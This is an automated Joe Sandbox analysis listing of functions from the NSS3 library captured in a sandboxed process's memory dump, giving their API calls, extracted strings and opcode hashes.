Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 073a758f7c4745a5ca2fc728844d32548906e5ab8fa346d337fa311b814b8a1f
Instruction ID: e7062c1c2753302e3b2c2b4fe34eaa999079500e12ae1aea10aacd3866f57843
Opcode Fuzzy Hash: 073a758f7c4745a5ca2fc728844d32548906e5ab8fa346d337fa311b814b8a1f
Instruction Fuzzy Hash: 343175387007109BC321CEACC8C2C6BB7A0EB41325B540C7CE848A7B55F361E84ACBE6

Function 6C5B6DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C5B6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5B6E57

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C5B6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C5B6EAA

Strings

nel, xrefs: 6C5B6DF9

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nel
API String ID: 3163584228-4255194777
Opcode ID: 59d18495685a4072f03cb87863c4fe055362a2cbf289c032fc2ee2d0cb4f54bf
Instruction ID: 35c0d1e06aacf4384aed3d73ceaf0298be22122327531cb7986102d84874bda6
Opcode Fuzzy Hash: 59d18495685a4072f03cb87863c4fe055362a2cbf289c032fc2ee2d0cb4f54bf
Instruction Fuzzy Hash: 4431B132610712EEDB1C5E34DD24397BBA5AB0531AF14063CE499F6B80EF307858CB81

Function 6C554B00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C554B66
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C554B7D
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C554B97
PORT_ZAlloc_Util.NSS3(00000018), ref: 6C554BB7

Part of subcall function 6C5A0D30: calloc.MOZGLUE ref: 6C5A0D50
Part of subcall function 6C5A0D30: TlsGetValue.KERNEL32 ref: 6C5A0D6D

Strings

, xrefs: 6C554B8A

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: AlgorithmPolicy$Alloc_ErrorUtilValuecalloc
String ID:
API String ID: 4087055539-3916222277
Opcode ID: 2bd4bdcdf915962a565b3317fd13e0f57fc4d7735aa3349b11bd40e084a61c24
Instruction ID: 877b43f28c91a5cccdb8306a2062ead2f941ebba1706a58c4b371855d7f04f52
Opcode Fuzzy Hash: 2bd4bdcdf915962a565b3317fd13e0f57fc4d7735aa3349b11bd40e084a61c24
Instruction Fuzzy Hash: DD21DB71D0024A9BDF10CA95DC41BAFB7B4AFC132CF940627F52596A91F7209939C7A2

Function 6C5EA8F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C5D2AE9,00000000,0000065C), ref: 6C5EA91D

Part of subcall function 6C58ADC0: TlsGetValue.KERNEL32(?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE10
Part of subcall function 6C58ADC0: EnterCriticalSection.KERNEL32(?,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE24
Part of subcall function 6C58ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C56D079,00000000,00000001), ref: 6C58AE5A
Part of subcall function 6C58ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE6F
Part of subcall function 6C58ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE7F
Part of subcall function 6C58ADC0: TlsGetValue.KERNEL32(?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AEB1
Part of subcall function 6C58ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C5D2AE9,00000000,0000065C), ref: 6C5EA934
SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000000,?,?,6C5D2AE9,00000000,0000065C), ref: 6C5EA949
free.MOZGLUE(?,00000000,0000065C), ref: 6C5EA952

Strings

*]l, xrefs: 6C5EA8F6

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: *]l
API String ID: 1595327144-1435814954
Opcode ID: e73afeff88e5816e7581b75a00426eb8794f53d640ee29ba5dd3ac3d8d5d5f89
Instruction ID: d4c32641d5e2e83a0cc9a93550f7f54a21ceb99f7bfcaf0c448c7be306d77fb1
Opcode Fuzzy Hash: e73afeff88e5816e7581b75a00426eb8794f53d640ee29ba5dd3ac3d8d5d5f89
Instruction Fuzzy Hash: D43127B4601211DFE704CF29D980A62BBF8FF4C318B1581A9E8098B756E730EC00CBA1

Function 6C546420 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000,00000001,00000000,00000000,?,?,6C545DEF,?,?,?), ref: 6C546456
CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001,00000001,00000000,00000000,?,?,6C545DEF,?,?,?), ref: 6C546476
CERT_DestroyCertificate.NSS3(00000000,?,?,?,?,?,?,6C545DEF,?,?,?), ref: 6C5464A0
PR_SetError.NSS3(FFFFE020,00000000,00000001,00000000,00000000,?,?,6C545DEF,?,?,?), ref: 6C5464C2

Strings

]Tl, xrefs: 6C546489

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CertificateError$DestroyTemp
String ID: ]Tl
API String ID: 3886907618-3588753846
Opcode ID: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction ID: 5552a2617986c2eef44425b72723c7bbb8a954708540e983284a031202108049
Opcode Fuzzy Hash: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction Fuzzy Hash: A421DDB1A00311AFEF109F68DC85B6776E9AB40318F148938F519C6B51FBB2E958C7A1

Function 6C594590 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000008,?,6C59473B,00000000,?,6C587A4F,?), ref: 6C59459B

Part of subcall function 6C5A0BE0: malloc.MOZGLUE(6C598D2D,?,00000000,?), ref: 6C5A0BF8
Part of subcall function 6C5A0BE0: TlsGetValue.KERNEL32(6C598D2D,?,00000000,?), ref: 6C5A0C15

TlsGetValue.KERNEL32(?,?,6C59473B,00000000,?,6C587A4F,?), ref: 6C5945BF
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C59473B,00000000,?,6C587A4F,?), ref: 6C5945D3
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C59473B,00000000,?,6C587A4F,?), ref: 6C5945E8

Strings

OzXl, xrefs: 6C594594

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$Alloc_CriticalEnterSectionUnlockUtilmalloc
String ID: OzXl
API String ID: 2963671366-2368962782
Opcode ID: e351d928cbef244ad5f6ff33bbc54a95978cf6ed41dfa85c6fdd00a9b844a5c1
Instruction ID: 405e9bb393167788dd4dc28fb86776c996b117293aa44f08d3dccae44fd7d212
Opcode Fuzzy Hash: e351d928cbef244ad5f6ff33bbc54a95978cf6ed41dfa85c6fdd00a9b844a5c1
Instruction Fuzzy Hash: AE21CFB0A00246AFDB009FAADC445AABBB4FF49319F004579E85DC7B11EB31E954CB91

Function 6C616B20 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

sqlite3_snprintf.NSS3(?,6C616AC0,6C67AAF9,00000000,?,6C616AC0,?), ref: 6C616BA9
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C616AC0,?), ref: 6C616BB2
sqlite3_snprintf.NSS3(?,6C616AC0,OsError 0x%lx (%lu),00000000,00000000,?,6C616AC0,?), ref: 6C616BD9

Strings

Pel, xrefs: 6C616B8D
OsError 0x%lx (%lu), xrefs: 6C616BCE

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_snprintf$sqlite3_free
String ID: OsError 0x%lx (%lu)$Pel
API String ID: 2089385377-2864094460
Opcode ID: 244626c5ab86df647450a414a3872863677f73c23be8c216791d47d3916cdd9b
Instruction ID: f04dcbacd2f829080e5a009c63b215894023eebe3ec0c1c3043f6b4cf33302fd
Opcode Fuzzy Hash: 244626c5ab86df647450a414a3872863677f73c23be8c216791d47d3916cdd9b
Instruction Fuzzy Hash: DC11A575A04109ABDB089FA6EC89DBF7B79EFC6345B00002CF50692A51DB316D14C6B9

Function 6C61A800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6C4E7915,?,?), ref: 6C61A86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C4E7915,?,?), ref: 6C61A8A6

Strings

%s at line %d of [%.10s], xrefs: 6C61A8A0
database corruption, xrefs: 6C61A89B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C61A891

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 67b130d0ef37a1801e3a00b616795bf639e25412408f676e5a290f40b866a492
Instruction ID: c1c0f2bfe695ef546314eddc3bf7a59c3bf95824783eccf4e915624e7df7cf46
Opcode Fuzzy Hash: 67b130d0ef37a1801e3a00b616795bf639e25412408f676e5a290f40b866a492
Instruction Fuzzy Hash: 84110671B04204ABDB048F15DC40EAAB7A5FF89315F004428FC194BF42EB35A91ACB9A

Function 6C57CAA0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6C55B1EE,D958E836,?,6C5951C5), ref: 6C57CAFA
PR_UnloadLibrary.NSS3(?,6C5951C5), ref: 6C57CB09
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6C55B1EE,D958E836,?,6C5951C5), ref: 6C57CB2C
PR_UnloadLibrary.NSS3(6C5951C5), ref: 6C57CB3E

Strings

NSS_DISABLE_UNLOAD, xrefs: 6C57CAF5, 6C57CB27

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: LibrarySecureUnload
String ID: NSS_DISABLE_UNLOAD
API String ID: 4190191112-1204168554
Opcode ID: 3ff3e04cfdeed6db0ad142d63865347091ca8621ccbfec54ce8e4817bcf30cd6
Instruction ID: bd3fc1b934ff66716a79bb8b0bfa101c9a1fe925786c5739c6f27d5a05e16003
Opcode Fuzzy Hash: 3ff3e04cfdeed6db0ad142d63865347091ca8621ccbfec54ce8e4817bcf30cd6
Instruction Fuzzy Hash: EA11C3B1A40621ABDB24AFA7EC84745B3B0BB42749F04412AE90D92940E770B4D4CBFA

Function 6C530DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C530BDE), ref: 6C530DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C530BDE), ref: 6C530DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C530BDE), ref: 6C530DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C530BDE), ref: 6C530E32

Strings

%s incr => %d (find lib), xrefs: 6C530E2D

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: a2f3f36c6eefbd3e6e12e68d7d2c020cd77899b0e327b1fe30b8117d5f1f0c77
Instruction ID: e2e9e63b59c9136a3f4fe74014388939859e1a0b49b9337b26596100063887a0
Opcode Fuzzy Hash: a2f3f36c6eefbd3e6e12e68d7d2c020cd77899b0e327b1fe30b8117d5f1f0c77
Instruction Fuzzy Hash: 22012872B003209FE7108F26DC85E1773ACDB85609B15486ED909D7681F762FC1487E5

Function 6C594760 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,6C587A47,?), ref: 6C59477E

Part of subcall function 6C594470: TlsGetValue.KERNEL32(00000000,?,6C557296,00000000), ref: 6C594487
Part of subcall function 6C594470: EnterCriticalSection.KERNEL32(?,?,?,6C557296,00000000), ref: 6C5944A0
Part of subcall function 6C594470: PR_Unlock.NSS3(?,?,?,?,6C557296,00000000), ref: 6C5944BB

TlsGetValue.KERNEL32(00000000,?,6C587A47,?), ref: 6C59478E
EnterCriticalSection.KERNEL32(?,?,?,6C587A47,?), ref: 6C5947A3
PR_Unlock.NSS3(?,?,?,?,6C587A47,?), ref: 6C5947B8

Strings

GzXl, xrefs: 6C594769

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$DestroyModule
String ID: GzXl
API String ID: 342238404-1216849969
Opcode ID: 28ce595a9835486147c22cb773b50ac5be0b237a8f40c74a7aace148ae7e01fa
Instruction ID: f8ba6c90fa8444d4fd7ace514633c71cc7e1328bd880af66e1d678933fc83db7
Opcode Fuzzy Hash: 28ce595a9835486147c22cb773b50ac5be0b237a8f40c74a7aace148ae7e01fa
Instruction Fuzzy Hash: 41018BB1A047459FDB00AF7AD88846ABBF4FF46258F044969DC9887B01E730EC95CF92

Function 6C5EAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]]l,00000000,?,?,6C5C6AC6,?), ref: 6C5EAC2D

Part of subcall function 6C58ADC0: TlsGetValue.KERNEL32(?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE10
Part of subcall function 6C58ADC0: EnterCriticalSection.KERNEL32(?,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE24
Part of subcall function 6C58ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C56D079,00000000,00000001), ref: 6C58AE5A
Part of subcall function 6C58ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE6F
Part of subcall function 6C58ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE7F
Part of subcall function 6C58ADC0: TlsGetValue.KERNEL32(?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AEB1
Part of subcall function 6C58ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AEC9

PK11_FreeSymKey.NSS3(?,@]]l,00000000,?,?,6C5C6AC6,?), ref: 6C5EAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]]l,00000000,?,?,6C5C6AC6,?), ref: 6C5EAC59
free.MOZGLUE(8CB6FF01,6C5C6AC6,?,?,?,?,?,?,?,?,?,?,6C5D5D40,00000000,?,6C5DAAD4), ref: 6C5EAC62

Strings

@]]l, xrefs: 6C5EAC05

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]]l
API String ID: 1595327144-2502243496
Opcode ID: 69ca19ae6acd9fcdd83e9c9e70c2fdf771b3e6818b41f96003ec884cb2abef4b
Instruction ID: c0e8acc61fa693274a57e4efe1c2dcc8b00906577639079e01a81067dc60c368
Opcode Fuzzy Hash: 69ca19ae6acd9fcdd83e9c9e70c2fdf771b3e6818b41f96003ec884cb2abef4b
Instruction Fuzzy Hash: 43012CB56012109BDB00DF25ECC0B46BBB8AB58B59F1880A8E9498F746D735E849CBA1

Function 6C4C2940 Relevance: 7.8, APIs: 6, Instructions: 327stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C4C1360,00000000), ref: 6C4C2A19
memcpy.VCRUNTIME140(?,00000009,00000034,?,?,?,6C4C1360,00000000), ref: 6C4C2A45
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6C4C2A7C

Part of subcall function 6C4C2D50: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,99F052DF,?,?,00000000,?,6C4C296E), ref: 6C4C2DA4

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4C2AF3
memcpy.VCRUNTIME140(?,00000009,0000000C,?,?,?,6C4C1360,00000000), ref: 6C4C2B71
memset.VCRUNTIME140(00000000,00000000,00000034), ref: 6C4C2B90

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: memcpystrlen$memset
String ID:
API String ID: 638109778-0
Opcode ID: 01c65fb330ab605fa74aea8ad2cf4d86d9f2cd91b6349236cc3b0e017c3754cb
Instruction ID: c7432eac76e2c8b7afe904b0ca214cfa7e75a8e3f091496026b3408c6e9053bb
Opcode Fuzzy Hash: 01c65fb330ab605fa74aea8ad2cf4d86d9f2cd91b6349236cc3b0e017c3754cb
Instruction Fuzzy Hash: 2CC1D675F002068BEB24CF65C894FABB7B5BF88304F149229D9159B761DB71D842CBD2

Function 6C4DA910 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

